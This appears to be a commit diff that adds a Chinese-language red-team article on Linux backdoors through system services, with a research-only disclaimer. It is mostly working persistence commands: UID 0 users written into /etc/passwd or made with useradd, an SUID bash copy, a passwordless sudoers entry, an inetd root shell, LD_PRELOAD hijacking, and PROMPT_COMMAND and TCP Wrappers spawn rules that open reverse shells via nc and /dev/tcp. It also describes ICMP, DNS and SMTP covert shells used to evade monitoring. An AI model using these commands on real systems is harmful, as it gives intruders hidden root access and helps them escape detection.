update Linux后门总结-系统服务利用
After Width: | Height: | Size: 14 KiB |
After Width: | Height: | Size: 34 KiB |
After Width: | Height: | Size: 50 KiB |
After Width: | Height: | Size: 35 KiB |
After Width: | Height: | Size: 27 KiB |
After Width: | Height: | Size: 7.6 KiB |
After Width: | Height: | Size: 36 KiB |
After Width: | Height: | Size: 56 KiB |
After Width: | Height: | Size: 79 KiB |
After Width: | Height: | Size: 26 KiB |
After Width: | Height: | Size: 126 KiB |
After Width: | Height: | Size: 33 KiB |
After Width: | Height: | Size: 16 KiB |
After Width: | Height: | Size: 40 KiB |
After Width: | Height: | Size: 84 KiB |
After Width: | Height: | Size: 49 KiB |
After Width: | Height: | Size: 34 KiB |
After Width: | Height: | Size: 22 KiB |
After Width: | Height: | Size: 49 KiB |
After Width: | Height: | Size: 24 KiB |
|
@ -0,0 +1,186 @@
|
||||||
|
# Linux后门总结-系统服务利用
|
||||||
|
```
|
||||||
|
来源:奇安信安全服务
|
||||||
|
作者:None
|
||||||
|
收录时间:2022年11月21日
|
||||||
|
注:仅供openKyin社区兴趣研究、学习交流,切勿用于非法用途。
|
||||||
|
```
|
||||||
|
------
|
||||||
|
> 导读:上篇文章简单介绍了一下各类隐藏技术在HW和红队评估项目中的应用,下面给大家介绍的是有关系统服务后门的利用,以及针对用户操作一些方法,还有一些在内网中可以被用来做反弹shell 的协议,绕过一些常见的安全设备。
|
||||||
|
|
||||||
|
<img src="../assets/26_image/0.jpeg" width="700" height="500">
|
||||||
|
|
||||||
|
本篇文章是Linux后门总结文章第三篇,简单介绍了常见Linux用户后门的用法,还有根据系统自带服务利用的一个扩展。
|
||||||
|
|
||||||
|
### 添加root用户
|
||||||
|
有时候觉得加root用户不够隐蔽,其实可以模仿着一些公司的默认账号,比如说adm、adn之类的,在一些大型企业之中,因为项目繁多,负责的管理运维人员也有可能只是开发人员,对于系统自带的一些用户并没有完整的了解,所以就给添加用户带来了可能性。
|
||||||
|
#### passwd写入
|
||||||
|
```bash
|
||||||
|
perl -e 'print crypt("123456", "AA"). "\n"'
|
||||||
|
echo "backdoor:AASwmzPNx.3sg:0:0:me:/root:/bin/bash">>/etc/passwd
|
||||||
|
```
|
||||||
|
<img src="../assets/26_image/36.jpeg">
|
||||||
|
<img src="../assets/26_image/37.jpeg">
|
||||||
|
|
||||||
|
#### uid 0用户添加
|
||||||
|
在 Unix 体系下,UID 为 0 就是 root 权限。所以渗透的时候可以添加一个 UID 为 0 的用户作为后门。
|
||||||
|
```bash
|
||||||
|
useradd -p `openssl passwd 123456` -o -u 0 guest
|
||||||
|
/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hack:123456 | /usr/sbin/chpasswd &>/dev/null
|
||||||
|
```
|
||||||
|
<img src="../assets/26_image/38.jpeg">
|
||||||
|
|
||||||
|
### SUID
|
||||||
|
#### suid后门
|
||||||
|
suid说明:
|
||||||
|
1. 用户或属主对应的前三位权限的x位上如果有s就表示suid权限。当x位上没有小写x执行权限的时候,suid的权限显示的就是大S。
|
||||||
|
2. suid作用是让普通用户可以以root(或其他)的用户角色运行只有root(或其他)账号才能运行的程序或命令,或程序命令对应本来没有权限操作的文件等。
|
||||||
|
|
||||||
|
先查找具有suid的文件:
|
||||||
|
```
|
||||||
|
find / -perm +4000 -ls
|
||||||
|
find . -perm /4000
|
||||||
|
find / -user root -perm -4000 -print 2>/dev/null
|
||||||
|
```
|
||||||
|
将具有suid的复制到指定目录,然后再给权限执行。
|
||||||
|
```
|
||||||
|
cp /bin/bash /.woot
|
||||||
|
chmod 4755 /.woot
|
||||||
|
/.woot -p
|
||||||
|
```
|
||||||
|
<img src="../assets/26_image/39.jpeg">
|
||||||
|
|
||||||
|
列出一些具有suid权限的文件、然后利用一些二进制文件的特性来执行额外的命令。
|
||||||
|
```
|
||||||
|
Nmap
|
||||||
|
Vim
|
||||||
|
find
|
||||||
|
Bash
|
||||||
|
More
|
||||||
|
Less
|
||||||
|
Nano
|
||||||
|
cp
|
||||||
|
```
|
||||||
|
常见的suid提权的程序:
|
||||||
|
<img src="../assets/26_image/40.jpeg">
|
||||||
|
|
||||||
|
### reverse_shell
|
||||||
|
这里说的反弹shell不是上面开头那里说的利用内部软件进行反弹,而是利用一些非常规协议来绕过一些安全设备的流量监测功能。
|
||||||
|
#### tcp/udp shell
|
||||||
|
tcp/udp的shell可以使用msf生成的tcp马、流量混淆推荐rc4和https偏执模式,也能够绕过一些防火墙。
|
||||||
|
|
||||||
|
#### icmp shell
|
||||||
|
|
||||||
|
使用ICMP来作为隐蔽通道的原理是:有一个服务端和一个客户端,当它们通信时会用到 ICMPECHO 和 ICMPECHOREPLY的数据部分。这就意味着通过ICMP包的数据部分可以发送和接收数据。
|
||||||
|
|
||||||
|
<img src="../assets/26_image/41.jpeg">
|
||||||
|
|
||||||
|
这里用python写了一个嗅探功能的小脚本 因为icmp是没有端口概念的,也就无法直接建立两台主机上ICMP应用程序的通信。所以程序需要从嗅探到的icmp包中再传给应用层,然后再执行其他的。
|
||||||
|
<img src="../assets/26_image/42.jpeg">
|
||||||
|
这里使用ish演示
|
||||||
|
```sh
|
||||||
|
wget http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
|
||||||
|
```
|
||||||
|
被控端
|
||||||
|
```sh
|
||||||
|
./ishd -i 6666 -t 0 -p 1024 -d
|
||||||
|
```
|
||||||
|
控制端
|
||||||
|
```sh
|
||||||
|
./ish -i 6666 -t 0 -p 1024 127.0.0.1
|
||||||
|
```
|
||||||
|
<img src="../assets/26_image/43.jpeg">
|
||||||
|
|
||||||
|
这样利用icmp传输可以绕过大部分的设备。
|
||||||
|
#### DNS/smtp shell
|
||||||
|
这里提一下DNS和smtp服务。之前做的分享中有关于SMTP协议传输shell的思路,其实是利用smtp协议可以出网的思路,写一个smtp的客户端和服务端对应发送和接受执行内容,传输为了方便演示使用的是明文,为了增加迷惑性,添加删除邮件功能,需要提高的就是可以对传输的文本内容进行混淆加密之类的,防止安全邮件网关根据关键字拦截邮件。DNS这个的话就是通过解析记录的内容来进行命令的执行,还可以配合dnslog来使用。
|
||||||
|
|
||||||
|
演示GIF地址:https://myblogimages.oss-cn-beijing.aliyuncs.com/img/smtp_cmdshell_win.gif
|
||||||
|
|
||||||
|
### sudoers利用
|
||||||
|
sudo命令可以使用户临时获得管理员权限执行命令,sudo的控制都是基于sudoers文件来控制的,里面限制了用户名,用户组,执行什么等。/etc/sudoers的通用格式为:user host runas command user:一位或几位用户,在/etc/group中可以用一个%代替它,组对象的名称一定要用百分号%开头。host:一个或几个主机名;runas:作为哪个用户运行,常见选项是root和ALL command:想让用户或组运行的一个或几个根级别命令。例如:hans ALL=(root) useradd,userdel 授权hans用户在所有计算机上以root身份运行useradd,userdel命令。这样我们用一句话将内置/或者我们自己添加的普通权限用户添加到sudoer列表中,这样就可以偷着执行管理员权限的命令了。将原本低权限用户当做后门使用。
|
||||||
|
```sh
|
||||||
|
sudo su -c "echo 'hack ALL = NOPASSWD: ALL' >> /etc/sudoers.d/README"
|
||||||
|
```
|
||||||
|
<img src="../assets/26_image/44.jpeg">
|
||||||
|
|
||||||
|
<img src="../assets/26_image/45.jpeg">
|
||||||
|
|
||||||
|
可以看到我们不需要密码就可以直接提到root。
|
||||||
|
|
||||||
|
### inetd远程后门
|
||||||
|
inetd,也叫作“超级服务器”,就是监视一些网络请求的守护进程,其根据网络请求来调用相应的服务进程来处理连接请求。inetd.conf则是inetd的配置文件。inetd.conf文件告诉inetd监听哪些网络端口,为每个端口启动哪个服务。位置是/etc/inetd.conf 配置格式:[servicename] [socktype] [proto] [flags] [user] [server_path] [args] 在配置文件下写入以下内容。
|
||||||
|
|
||||||
|
daytime服务(13端口) 套接字类型 协议类型 不等待 用户组 提供服务的程序
|
||||||
|
`daytime stream tcp nowait root /bin/bash bash -i`
|
||||||
|
|
||||||
|
<img src="../assets/26_image/46.jpeg">
|
||||||
|
|
||||||
|
这样配置好了以后利用`nc attip 13`
|
||||||
|
<img src="../assets/26_image/47.jpeg">
|
||||||
|
|
||||||
|
### 动态链接库后门
|
||||||
|
linux操作系统的动态链接库在加载过程中,动态链接器会先读取LDPRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LDPRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,这样就导致了动态链接库文件可以被当做后门使用。
|
||||||
|
#### LD_PRELOAD
|
||||||
|
这里创建了一个test.c文件,其中调用time方法、然后创建了一个testlib.c、其中生成了一个time方法供test调用 编译后用LD_PRELOAD=$PWD/testlib.so ./test劫持了time。
|
||||||
|
```c
|
||||||
|
|
||||||
|
//test.c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <time.h>
|
||||||
|
int main(){
|
||||||
|
srand(time(NULL));
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
//编译:gcc -o test test.c
|
||||||
|
```
|
||||||
|
```c
|
||||||
|
//testlib.c
|
||||||
|
#include <stdio.h>
|
||||||
|
int time(){
|
||||||
|
printf("hello hacker");
|
||||||
|
return 0; //the most random number in the universe
|
||||||
|
}
|
||||||
|
//编译:gcc -shared -fPIC testlib.c -o test.so
|
||||||
|
```
|
||||||
|
<img src="../assets/26_image/48.jpeg">
|
||||||
|
<img src="../assets/26_image/49.jpeg">
|
||||||
|
|
||||||
|
#### d.so.preload
|
||||||
|
同理,修改/etc/ld.so.conf.d/下的conf文件也可以达到劫持的目的。
|
||||||
|
<img src="../assets/26_image/50.jpeg">
|
||||||
|
|
||||||
|
### PROMPT_COMMAND
|
||||||
|
bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。这样就可以利用他执行的命令来留后门。
|
||||||
|
#### 后门
|
||||||
|
```sh
|
||||||
|
export PROMPT_COMMAND="nc -e /bin/bash 127.0.0.1 6666 &"
|
||||||
|
```
|
||||||
|
<img src="../assets/26_image/51.jpeg">
|
||||||
|
|
||||||
|
#### 提权
|
||||||
|
如果当前用户是低权账号,管理员又经常使用su等、但是自己不知道密码。就可以来使用这种方法。利用sudo的权限提升来新建一个uid为0的用户
|
||||||
|
```sh
|
||||||
|
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 test2 &>/dev/null && echo test2:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"
|
||||||
|
```
|
||||||
|
<img src="../assets/26_image/52.jpeg">
|
||||||
|
<img src="../assets/26_image/53.jpeg">
|
||||||
|
|
||||||
|
### TCP Wrappers
|
||||||
|
TCPWrappers是一个工作在第四层(传输层)的的安全工具,对有状态连接的特定服务进行安全检测并实现访问控制,凡是包含libwrap.so库文件的的程序就可以受TCPWrappers的安全控制。它的主要功能就是控制谁可以访问,常见的程序有rpcbind、vsftpd、sshd,telnet。
|
||||||
|
#### 工作原理
|
||||||
|
TCP_Wrappers有一个TCP的守护进程叫做tcpd。以ssh为例,每当有ssh的连接请求时,tcpd即会截获请求,先读取系统管理员所设置的访问控制文件,符合要求,则会把这次连接原封不动的转给真正的ssh进程,由ssh完成后续工作;如果这次连接发起的ip不符合访问控制文件中的设置,则会中断连接请求,拒绝提供ssh服务。
|
||||||
|
#### 利用
|
||||||
|
TCP_Wrappers的使用主要是依靠两个配置文件/etc/hosts.allow, /etc/hosts.deny,用于拒绝和接受。这里演示使用的是接受配置信息。之所以能够被用作后门是因为他存在一个参数是spawn (spawn启动一个外部程序完成执行的操作) 修改/etc/hosts.allow文件:
|
||||||
|
```
|
||||||
|
ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/127.0.0.1/6666 0>&1") & :allow
|
||||||
|
```
|
||||||
|
<img src="../assets/26_image/54.jpeg">
|
||||||
|
<img src="../assets/26_image/55.jpeg">
|
||||||
|
|
||||||
|
当使用ssh连接的时候,它开始匹配规则,然后利用spawn执行的nc反弹了一个shell。
|
||||||
|
|
||||||
|
**Info:**
|
||||||
|
https://kevien.github.io/2019/02/16/linux%E5%B8%B8%E8%A7%81backdoor%E5%8F%8A%E6%8E%92%E6%9F%A5%E6%8A%80%E6%9C%AF/
|
||||||
|
|